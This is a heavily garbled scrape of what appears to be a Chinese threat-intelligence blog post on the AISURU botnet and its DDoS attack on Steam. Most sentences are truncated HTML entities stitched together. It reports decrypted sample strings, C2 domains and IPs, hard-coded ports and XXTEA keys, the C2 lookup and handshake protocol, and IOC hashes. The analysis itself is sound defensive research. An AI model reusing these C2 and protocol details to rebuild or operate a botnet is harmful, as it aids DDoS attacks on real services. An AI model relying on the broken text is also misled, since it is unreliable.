<p>Steam&#x505A;&#x4E3A;&#x4E00;&#x4E2A;&#x7684;&#x4E16;&#x754C;&#x6027;&#x7684;&#x6E38;&#x620F;&#x5E73;&#x53F0;&#xFF0C;&#x4E0D;&#x53EF;&#x80FD
</p>
<p>&#x5728;&#x6211;&#x4EEC;&#x89C6;&#x91CE;&#x4E2D;&#x591A;&#x4E2A;&#x50F5;&#x5C38;&#x7F51;&#x7EDC;&#x53C2;&#x4E0E;&#x6B64;&#x6B21;&#x653B;&#x5
- 2T&#x5DE6;&#x53F3;&#x3002;<br>
&#x4E0B;&#x56FE;&#x662F;&#x8BE5;&#x50F5;&#x5C38;&#x7F51;&#x7EDC;&#x7684;&#x80FD;&#x529B;&#x6D4B;&#x8BD5;&#x56FE;&#xFF1A;</p> <p><img
src="https://blog.xlab.qianxin.com/content/images/2024/08/attack_test.png"
alt="&#x300A;&#x9ED1;&#x795E;&#x8BDD;&#xFF1A;&#x609F;&#x7A7A;&#x300B;&#x53D1;&#x884C;&#x5E73;&#x53F0;&#x906D;DDoS&#x653B;&#x51FB;&#x7684;&#x66F
loading="lazy"></p>
<p>&#x6B64;&#x5916;&#x8BE5;&#x9891;&#x9053;&#x8FD8;&#x63D0;&#x5230;&#x4E86;&#x56FD;&#x5916;&#x5382;&#x5546;GSL&#x7684;&#x4E00;&#x7BC7;<a
href="https://globalsecurelayer.com/blog/unprecedented-3-15-billion-packet-rate-ddos-attack?
```

ref=blog.xlab.qianxin.com">Blog，Blog声称是有史以来向公众报告

 <img src="https://blog.xlab.qianxin.com/content/images/2024/08/attack_log-1.PNG"
alt="《黑神话：悟空》发行平台遭DDoS攻击的&#x66F
loading="lazy">
部分读者可能对于这些数字没有概念，&#x8
 <blockquote>
一个僵尸网络（botnet）拥有30000个节点，并且&
Tbps（太比特每秒）到2
Tbps之间，这代表了一个非常强大的网络攻&#x
  攻击规模：1.3 Tbps 到 2 Tbps
的攻击流量已经非常巨大，足以造成严&#x91CD
 节点数量
：30000个节点意味着有25000台受控设备参与&#x4
Tbps至2 Tbps。 实际影响
：这种规模的DDoS攻击可以轻松压垮大部&#
  </blockquote>
相信读者现在已经有了一定的认识，总&#x4
非常强大的网络武器
，能够通过数量巨大的设备同时发起&#x653
 <h1
id="aisuru%E5%83%B5%E5%B0%B8%E7%BD%91%E7%BB%9C%E6%8A%80%E6%9C%AF%E7%BB%86%E8%8A%82">AISURU僵尸网络技术&#x7E
</h1>
正所谓罗马并非一天建成，AISURU僵尸网络&#x4E5

AISURA的在战术、技术层面都和2022年我们发现&#x

在我们看来，AISURA僿是Fodcha的“追随者”或“
 首先从战术层面上来说
，它也和Fodcha一样，喜欢挑衅安全公司，

AISURA在最早的样本中是这样表达它对安全&#x793
<code>"N3tL4b360G4y"，"paloaltoisgaytoo"</code>。paloalto，即Palo Alto
Networks，是美国一家非常著名的安全公司，&#x5E02
<code>N3tL4b360G4y</code>替换成<code>xlab
gay</code>。毫无疑问，这又迎来了我们的曝光&#x30
<code>today at xlab, botnet operators learn how to dance
macarena</code>，这让我们想起了之前公开的<a
href="https://blog.xlab.qianxin.com/rimasuta-new-variant-switches-to-chacha20-encryption-cn/">Rimasuta僵尸网络
：曾经在样本中留言<code>this week on netlab 360 botnet operator learns chacha
slide</code>。过去学chachaslide，现在跳macarena，俩个都是跳
<code>botnet之舞</code>惊艳我们！”。 <img
src="https://blog.xlab.qianxin.com/content/images/2024/08/aisuru_brief.png"
alt="《黑神话：悟空》发行平台遭DDoS攻击的&#x66F
loading="lazy"> 另外样本中的C2域名
<code>foxnointel.ru</code>，实在让我们有些忍俊不禁。读&#x80
Fox_threatintel，他几乎每天都会分享一些威&#x80C1
<code>fox no
intel</code>，“嘲讽”他其实根本没有情报。
接着我们来看技术层面，AISURA在
<code>代码结构
</code>上保留了部分Fodcha的风格，比如使用和Fodcha&#x7
case进行各个阶段的处理；在
<code>基础设施投入
</code>上延续了Fodcha的“危机意识”，即将C2映射
 <pre><code> 8 United States 3 United Kingdom 3 South Korea 3 Russia 2 Singapore 2 Japan 2 India 1 The Netherlands 1 Switzerland 1 Poland 1
Brazil </code></pre>
当然喜欢彰显特立独行的黑产团体，&#x80AF
，AISURA在<code>加密，网络通信
</code>等方面实现了自已独特的创新。 <h2
id="%E5%AD%97%E7%AC%A6%E4%B8%B2%E8%A7%A3%E5%AF%86">字符串解密</h2>
早期版本使用CHACHA20对样本中的字符串进行&#x5
 NAKOTEN_XXTEA_KEY_HEX: <code>1234567890ABCDEFFEDCBA9876543210</code>
在最新的版本中，样本中仍保留了之前&#x7
 AISURU_BYTES_KEY_HEX: <code>12345678</code> <pre><code>0x1a42c snow slide 0x1a6d0
a|b|c|d|e|f|g|h|j|k:printerconsulting.ru|foxnointel.ru 0x1a438 reports.printerconsulting.ru 0x1a708
5.35.45.162|5.35.44.21|166.1.160.38|194.147.35.35 0x1a458 /login|/products|/contact|/register|/user 0x1a484 /dev/null 0x1a490 /dev/tty 0x1a49c
/dev/pts/1 0x1a4a8 /dev/console 0x1a4b8 /.ai 0x1a4c0 /proc/ 0x1a4c8 /proc/self/exe 0x1a4d8 /proc/net/tcp 0x1a4e8 /cmdline 0x1a4f4 /exe 0x1a4fc
/proc/uptime 0x1a50c /maps 0x1a514 /fd/ 0x1a51c socket 0x1a524 wget|curl|ftp|ntpdate|echo 0x1a540 telnetd|upnpc-
static|udhcpc|/usr/bin/inetd|ntpclient|boa|lighttpd|httpd|goahead|mini_http|miniupnpd|dnsmasq|sshd|dhcpd|upnpd|watchdog|syslogd|klogd|uhttpd|uc
0x1a5f4 /dev/watchdog 0x1a604 /dev/misc/watchdog 0x1a618 TSource Engine Query 0x1a630 xlab gay 0x1a63c paloaltoisgaytoo 0x1a650 shell 0x1a658
system 0x1a660 enable 0x1a668 sh 0x1a73c /bin/busybox AISURU 0x1a66c AISURU: applet not found 0x1a688 ncorrect 0x1a694 today at xlab, botnet
operators learn how to dance macarena </code></pre> <h2 id="%E7%BD%91%E7%BB%9C%E5%8D%8F%E8%AE%AE">网络协议</h2>
2023年10月的版本以
<code>N3tL4b360G4y</code>作为上线包，并将该字符串明文&#x786
<code>NAKOTNE</code>版本开始，以<code>xlab
gay</code>作为上线包，并且将其加密编码到字&#x7B
 <h3 id="c2%E8%8E%B7%E5%8F%96">C2获取</h3>
在8月初我们在新样本中收到留言：<code>today at
xlab, botnet operators learn how to dance
macarena</code>，以往域名或IP被直接加密编码在字&#x7B2

通过解密字符串表，我们发现以下可疑&#x5
 <pre><code>[1] a|b|c|d|e|f|g|h|j|k:printerconsulting.ru|foxnointel.ru [2] 5.35.45.162|5.35.44.21|166.1.160.38|194.147.35.35 [3]
/login|/products|/contact|/register|/user </code></pre>
经过分析后，使用以下机制获取C2：
通过<code>:</code>分割
[1]中的子域名和二级域名，再通过<code>|
</code>分割每一项
随机选择一个子域名和一个二级域名，&#x
若解析上述C2失败，则用<code>|</code>分割[2]、
[3]，得到IP和URI 根据IP和URI构造GET请求并发送
以4字节为单位获取返回包中的C2 <img
src="https://blog.xlab.qianxin.com/content/images/2024/08/http_get_c2_desc.PNG"
alt="《黑神话：悟空》发行平台遭DDoS攻击的&#x66F
loading="lazy">
C2使用的端口被硬编码在样本中，从21个端
 <pre><code>2348,12381,8932,8241,38441,23845,8745,6463,7122,1114,6969,1337,4200,3257,7214,2474,4444,2222,3333,5555,24811 </code></pre> <h3
id="%E9%80%9A%E4%BF%A1%E8%BF%87%E7%A8%8B">通信过程</h3>
通信过程在多个版本中都没有生变化&#xF
<code>Fodcha</code>类似的switch-case进行各个阶段的处理：
<img src="https://blog.xlab.qianxin.com/content/images/2024/08/net_protocol_desc.PNG"
alt="《黑神话：悟空》发行平台遭DDoS攻击的&#x66F
loading="lazy"> 上线包发送：<code>xlab gay</code> 协商密钥
 使用XXTEA解密得到CHACHA20_KEY、CHACHA20_Nonce
硬编码的NET_XXTEA_KEY_HEX: <code>428723212B0106344C7A095322236921</code>
密钥验证
使用协商后的密钥解密数据，通过对比&#x
<code>paloaltoisgaytoo</code>验证双方密钥一致性。
发送bot分组信息
先发送明文的分组长度，再发送CHACHA20加密&#x

至此，AISURU僵尸网络的主要技术细节介绍&#x5B8

```
      </p> <h1 id="%E6%80%BB%E7%BB%93">&#x603B;&#x7ED3;</h1>
      <p>&#x6211;&#x4EEC;&#x56E2;&#x961F;&#x5728;&#x5927;&#x89C4;&#x6A21;&#x50F5;&#x5C38;&#x7F51;&#x7EDC;&#x53D1;&#x73B0;&amp;&#x8DDF;&#x8E2A;&#x9886
      </p>
      <p>&#x6700;&#x540E;&#x5F15;&#x7528;&#x4E00;&#x53E5;&#x4F1F;&#x4EBA;&#x7684;&#x8BD7;&#x505A;&#x4E3A;&#x672C;&#x6587;&#x7684;&#x7ED3;&#x675F;&#xF
      </p> <h1 id="%E9%83%A8%E5%88%86ioc">&#x90E8;&#x5206;IOC</h1> <p>SHA1:</p> <pre><code> b6e5c9e65682ccac071b65743595dae475f7a8b8
      458d541bc93937ae6d0139f3f9d42b50fe255636 f0760aeaa0d667a1c100e3d348dbc383451587b1 </code></pre> <p>Domain:</p> <pre><code> nakotne.pirate
      nvr.libre a.printerconsulting.ru </code></pre> ]]>
    </content:encoded>
  </item>
 </channel>
</rss>
```